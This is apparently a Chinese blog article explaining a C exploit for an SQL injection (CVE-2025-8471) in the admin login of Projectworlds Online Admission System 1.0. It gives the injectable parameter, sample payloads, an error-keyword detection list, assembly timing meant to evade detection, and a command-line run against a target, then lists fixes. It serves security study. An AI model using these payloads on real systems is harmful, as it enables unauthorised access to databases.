Projectworlds在线招生系统1.0 SQL注入漏洞利用代码详解

本文详细分析了Projectworlds在线招生系统1.0版本存在的SQL注入漏洞,并提供了完整的C语言漏洞利用代码。代码实现了多种SQL注入技术的自动化测试,包括联合查询、时间盲注等,并包含详细的日志记录和响应分析功能。

Projectworlds Online Admission System 1.0 SQL注入漏洞利用

漏洞信息

  • 发布日期: 2025年8月11日
  • 提交者: Byte Reaper
  • 风险等级: 中等
  • CVE编号: CVE-2025-8471

漏洞概述

Projectworlds在线招生系统1.0版本存在SQL注入漏洞,攻击者可通过adminlogin.php页面的a_id参数执行恶意SQL语句。该漏洞允许未经授权的数据访问和潜在的系统控制。

技术细节

漏洞位置

1
/adminlogin.php?a_id=[注入点]

核心功能模块

1. 内存管理结构

1
2
3
4
struct Mem {
    char *buffer;
    size_t len;
};

用于存储HTTP响应数据,动态分配内存以适应不同大小的响应。

2. 注入负载技术

代码实现了两种主要注入技术:

A. 两阶段注入

1
2
3
4
5
6
const char *twoStageInjection[] = {
    "INSERT INTO stages (id,code) VALUES (3, 'UNION SELECT NULL --');",
    "SELECT SLEEP(2);",
    "SELECT code FROM stages WHERE id = 3;",
    NULL
};

B. 深度注入技术 包含23种不同的SQL注入负载,涵盖:

  • 布尔型注入:'/**/OR/**/1=1--

  • 联合查询:'/**/UNION/**/SELECT/**/NULL,NULL--

  • 错误型注入:利用数据库错误信息判断漏洞

3. SQL错误关键词检测

1
2
3
4
5
6
7
8
const char *wordSql[] = {
    "syntax error",
    "you have an error in your sql syntax",
    "warning",
    "mysql_fetch",
    // ... 共29个关键词
    NULL
};

用于在HTTP响应中识别SQL错误信息,确认注入是否成功。

主要功能函数

payloadInject 函数

  • 负责发送SQL注入请求
  • 使用libcurl库进行HTTP通信
  • 实现多种注入技术的轮询测试
  • 自动URL编码注入负载

simpleRequest 函数

  • 发送正常请求获取基线响应
  • 用于与注入响应进行对比分析
  • 设置自定义HTTP头部信息

value 函数

  • 比较正常响应与注入响应的长度差异
  • 判断注入是否成功的辅助指标

高级技术特性

1. 内联汇编实现

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
void syscallLinux() {
    __asm__ volatile (
        "mov $0x3C, %%rax\n\t"
        "xor %%rdi, %%rdi\n\t"
        "syscall\n\t"
        :
        :
        :"rax", "rdi"
    );
}

用于实现系统调用,在错误发生时优雅退出程序。

2. 精确延时控制

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
void sleepAssembly(void) {
    struct timespec s ;
    s.tv_sec = 0;
    s.tv_nsec = 500000000;  // 500毫秒
    
    __asm__ volatile (
        "mov $35, %%rax\n\t"
        "xor %%rsi, %%rsi\n\t"
        "syscall\n\t"
        :
        : "D" (&s) 
        : "rax", "rsi", "memory"
    );
}

使用汇编实现纳秒级延时,避免被检测。

3. 日志记录系统

1
2
3
4
5
int logFile(const char *payload, const char *urlB, 
            long httpCodeResponse, size_t lenResponse) {
    // 记录每次注入尝试的详细信息
    // 包括:基础URL、注入负载、HTTP响应码、响应长度
}

命令行参数解析

支持以下选项:

  • -u--url: 目标基础URL
  • -c--cookies: Cookie文件路径
  • -v--verbose: 详细输出模式

安全特性

  1. 内存安全: 使用realloc动态调整内存大小
  2. 边界检查: checkLen函数防止缓冲区溢出
  3. 错误处理: 全面的错误检测和清理机制
  4. 日志记录: 所有操作记录到result.log文件

HTTP请求配置

  • 支持Cookie会话管理
  • 自定义HTTP头部
  • SSL证书验证禁用(用于测试环境)
  • 连接超时设置
  • 自动重定向跟随

使用方法

1
./exploit -u http://target-site.com -c cookies.txt -v

检测机制

  1. 长度比较: 对比正常响应与注入响应的长度差异
  2. 错误关键词: 在响应中搜索SQL错误信息
  3. HTTP状态码: 分析服务器返回的状态码
  4. 重定向检测: 识别是否发生页面重定向

防护建议

  1. 对用户输入进行严格的参数化查询
  2. 实施输入验证和过滤
  3. 使用预编译语句
  4. 限制数据库用户权限
  5. 定期更新和打补丁

技术栈

  • 编程语言: C语言
  • 网络库: libcurl
  • 参数解析: argparse库
  • 平台: Linux系统(使用x86-64汇编)

该漏洞利用代码展示了SQL注入攻击的完整流程,从漏洞检测到利用验证,为安全研究人员提供了详细的技术参考。同时,也强调了Web应用程序安全的重要性。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计